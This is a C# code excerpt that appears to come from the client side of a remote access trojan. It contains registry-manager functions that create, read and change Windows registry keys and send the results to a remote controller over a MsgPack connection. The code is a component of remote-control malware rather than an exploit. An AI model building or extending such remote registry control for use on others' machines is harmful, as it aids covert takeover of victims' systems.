public void CreateKey(string ParentPath) { string errorMsg; string newKeyName = ""; try { RegistryEditor.CreateRegistryKey(ParentPath, out newKeyName, out errorMsg); var Match = new RegSeekerMatch { Key = newKeyName, Data = RegistryKeyHelper.GetDefaultValues(), HasSubKeys = false }; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("Command").AsString = "CreateKey"; msgpack.ForcePathObject("ParentPath").AsString = ParentPath; msgpack.ForcePathObject("Match").SetAsBytes(Serialize(Match)); Connection.Send(msgpack.Encode2Bytes()); } catch (Exception ex) { Packet.Error(ex.Message); } }
private void ProcessKey(RegistryKey key, string keyName) { if (key != null) { List <RegValueData> values = new List <RegValueData>(); foreach (string valueName in key.GetValueNames()) { RegistryValueKind valueType = key.GetValueKind(valueName); object valueData = key.GetValue(valueName); values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueType, valueData)); } AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), key.SubKeyCount); } else { AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0); } }
/// <summary> /// Attempts to change the value for the desired registry value for the /// specified key. /// </summary> /// <param name="value">The registry value to change to in the form of a /// RegValueData object.</param> /// <param name="keyPath">The path to the key for which to change the /// value of the registry value on.</param> /// <param name="errorMsg">output parameter that contains possible error message.</param> /// <returns>Returns true if the operation succeeded.</returns> public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg) { try { RegistryKey key = GetWritableRegistryKey(keyPath); //Invalid can not open key if (key == null) { errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; return(false); } //Is not default value and does not exist if (!RegistryKeyHelper.IsDefaultValue(value.Name) && !key.ContainsValue(value.Name)) { errorMsg = "The value: " + value.Name + " does not exist in: " + keyPath; return(false); } bool success = key.SetValueSafe(value.Name, value.Data, value.Kind); //Value could not be created if (!success) { errorMsg = REGISTRY_VALUE_CHANGE_ERROR; return(false); } //Value was successfully created errorMsg = ""; return(true); } catch (Exception ex) { errorMsg = ex.Message; return(false); } }